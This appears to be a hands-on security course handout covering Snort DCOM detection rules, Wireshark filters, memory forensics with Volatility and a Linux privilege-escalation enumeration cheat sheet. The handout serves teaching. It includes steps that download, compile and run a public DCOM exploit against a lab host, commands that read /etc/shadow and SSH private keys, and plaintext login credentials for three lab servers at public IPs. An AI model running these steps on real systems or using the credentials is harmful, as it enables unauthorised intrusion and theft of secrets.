Field 2: Protocol - Snort understands a few types of traffic (tcp, udp, icmp)

Field 3: Source IP (can be a variable like $External_Net, or an IP, or a range)

Field 4: Source Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)

Field 5: Traffic Direction (->)

Field 6: Destination IP (can be a variable like $External_Net, or an IP, or a range)

Field 7: Destination Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)

Field 8: MSG - what is actually displayed on the analysts machine


Let's look at 2 simple rules
----------------------------------------------------------------------------------
alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:”NETBIOS DCERPC ISystemActivator \
bind attempt”; flow:to_server,established; content:”|05|”; distance:0; within:1; \
content:”|0b|”; distance:1; within:1; byte_test:1,&,1,0,relative; content:”|A0 01 00 \
00 00 00 00 00 C0 00 00 00 00 00 00 46|”; distance:29; within:16; \
reference:cve,CAN-2003-0352; classtype:attempted-admin; sid:2192; rev:1;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:”NETBIOS SMB DCERPC ISystemActivator bind \
attempt”; flow:to_server,established; content:”|FF|SMB|25|”; nocase; offset:4; \
depth:5; content:”|26 00|”; distance:56; within:2; content:”|5c \
00|P|00|I|00|P|00|E|00 5c 00|”; nocase; distance:5; within:12; content:”|05|”; \
distance:0; within:1; content:”|0b|”; distance:1; within:1; \
byte_test:1,&,1,0,relative; content:”|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 \
46|”; distance:29; within:16; reference:cve,CAN-2003-0352; classtype:attempted-admin; \
sid:2193; rev:1;)
----------------------------------------------------------------------------------



From your Linux machine ping your Windows machine
---------------------------Type This-----------------------------------
ping 192.168.11.1
-----------------------------------------------------------------------


Start wireshark and let's create some simple filters:

Filter 1:
---------------------------Type This-----------------------------------
ip.addr==192.168.11.1
-----------------------------------------------------------------------

Filter 2:
---------------------------Type This-----------------------------------
ip.addr==192.168.11.1 && icmp
-----------------------------------------------------------------------


Filter 3:
---------------------------Type This-----------------------------------
ip.addr==192.168.11.1 && !(tcp.port==22)
-----------------------------------------------------------------------
Now stop your capture and restart it (make sure you keep the filter)




Back to your Linux machine:
[ CTRL-C ] - to stop your ping
---------------------------Type This-----------------------------------
wget http://downloads.securityfocus.com/vulnerabilities/exploits/oc192-dcom.c


gcc -o exploit oc192-dcom.c

./exploit


./exploit -d 192.168.11.1 -t 0
 -----------------------------------------------------------------------



Now go back to WireShark and stop the capture.




###################
# Memory Analysis #
###################
---------------------------Type This-----------------------------------
cd  ~/Desktop/

sudo apt-get install -y foremost tcpxtract

wget https://s3.amazonaws.com/infosecaddictsfiles/hn_forensics.vmem

git clone https://github.com/volatilityfoundation/volatility.git

cd volatility
sudo pip install distorm3
sudo python setup.py install
python vol.py -h
python vol.py pslist -f ~/Desktop/hn_forensics.vmem
python vol.py connscan -f ~/Desktop/hn_forensics.vmem
mkdir dump/
mkdir -p output/pdf/
python vol.py -f ~/Desktop/hn_forensics.vmem memdmp -p 888 -D dump/
python vol.py -f ~/Desktop/hn_forensics.vmem memdmp -p 1752 -D dump/
                ***Takes a few min***
strings 1752.dmp | grep "^http://" | sort | uniq
strings 1752.dmp | grep "Ahttps://" | uniq -u
cd ..
foremost -i ~/Desktop/volatility/dump/1752.dmp -t pdf -o output/pdf/
cd ~/Desktop/volatility/output/pdf/
cat audit.txt
cd pdf
ls
grep -i javascript *.pdf



cd ~/Desktop/volatility/output/pdf/
wget http://didierstevens.com/files/software/pdf-parser_V0_6_4.zip
unzip pdf-parser_V0_6_4.zip
python pdf-parser.py -s javascript --raw pdf/00601560.pdf
python pdf-parser.py --object 11 00600328.pdf
python pdf-parser.py --object 1054 --raw --filter 00601560.pdf > malicious.js

cat malicious.js
 -----------------------------------------------------------------------




*****Sorry - no time to cover javascript de-obfuscation today*****




---------------------------Type This-----------------------------------
cd ~/Desktop/volatility
mkdir files2/
python vol.py -f ~/Desktop/hn_forensics.vmem dumpfiles -D files2/
python vol.py hivescan -f ~/Desktop/hn_forensics.vmem
python vol.py printkey -o 0xe1526748 -f ~/Desktop/hn_forensics.vmem Microsoft "Windows NT" CurrentVersion Winlogon
-----------------------------------------------------------------------


                            ######################
----------- ############### # Intro to Reversing # ############### -----------
                            ######################
Lab walk-through documents are in the zip file along with the executables that need to be reversed:
https://s3.amazonaws.com/infosecaddictsfiles/Lena151.zip





##############################
# Linux For InfoSec Homework #
##############################
In order to receive your certificate of attendance you must complete the all of the quizzes on the http://linuxsurvival.com/linux-tutorial-introduction/ website.


Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Linux-For-InfoSec-Homework.docx)




##############################
# Linux For InfoSe Challenge #
##############################

In order to receive your certificate of proficiency you must complete all of the tasks covered in the Linux For InfoSec pastebin (http://pastebin.com/eduSfPy3).

Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Linux-For-InfoSec-Challenge.docx)




IMPORTANT NOTE:
Your homework/challenge must be submitted via email to both (joe-at-strategicsec-.-com and ivana-at-strategicsec-.-com) by midnight EST.


#########################################################################
# What kind of Linux am I on and how can I find out? 			        #
# Great reference: 							                            #
# https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ 	#
#########################################################################
- What’s the distribution type? What version?
-------------------------------------------
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release      		# Debian based
cat /etc/redhat-release   		# Redhat based



- What’s the kernel version? Is it 64-bit?
-------------------------------------------
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-



- What can be learnt from the environmental variables?
----------------------------------------------------
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set


- What services are running? Which service has which user privilege?
------------------------------------------------------------------
ps aux
ps -ef
top
cat /etc/services


- Which service(s) are been running by root? Of these services, which are vulnerable - it’s worth a double check!
---------------------------------------------------------------------------------------------------------------
ps aux | grep root
ps -ef | grep root



- What applications are installed? What version are they? Are they currently running?
------------------------------------------------------------------------------------
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/


- Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
------------------------------------------------------------------------------------
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'



- What jobs are scheduled?
------------------------
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root


- Any plain text usernames and/or passwords?
------------------------------------------
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   		# Search for Joomla passwords


- What NIC(s) does the system have? Is it connected to another network?
---------------------------------------------------------------------
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network


- What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
------------------------------------------------------------------------------------------------------------------------
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

- What other users & hosts are communicating with the system?
-----------------------------------------------------------
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w



- Whats cached? IP and/or MAC addresses
-------------------------------------
arp -e
route
/sbin/route -nee


- Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
------------------------------------------------------------------------------------------
id
who
w
last
cat /etc/passwd | cut -d: -f1    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l



- What sensitive files can be found?
----------------------------------
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/



- Anything “interesting” in the home directorie(s)? If it’s possible to access
----------------------------------------------------------------------------
ls -ahlR /root/
ls -ahlR /home/


- Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
---------------------------------------------------------------------------------------------------------------------------
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg


- What has the user being doing? Is there any password in plain text? What have they been edting?
-----------------------------------------------------------------------------------------------
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history



- What user information can be found?
-----------------------------------
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root


- Can private-key information be found?
-------------------------------------
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key


- Any settings/files (hidden) on website? Any settings file with database information?
------------------------------------------------------------------------------------
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/


- Is there anything in the log file(s) (Could help with “Local File Includes”!)
-----------------------------------------------------------------------------
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

- Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp





########################################################################################################################################





####################################
# Day 2: Building a Perfect Server #
####################################
-------------------------------------------
Task 1: Log in to your respective Linux server
PMRF1 (Hugo/Ross)
45.76.61.100
pmrf	aegisashore

PMRF2 (steve/jeff)
155.138.213.248
pmrf	aegisashore


PMRF3 (elaine)
155.138.198.202
pmrf	aegisashore



Task 2: Build the Perfect Server
https://www.howtoforge.com/tutorial/perfect-server-centos-7-apache-mysql-php-pureftpd-postfix-dovecot-and-ispconfig/

Important notes:
Steps to skip
skip all of step 1
skip all of step 2
skip all of step 3
skip all of step 5

Important notes:
step 11 amavisd may not work. If it doesn't work just keep moving forward
---------------------------------------------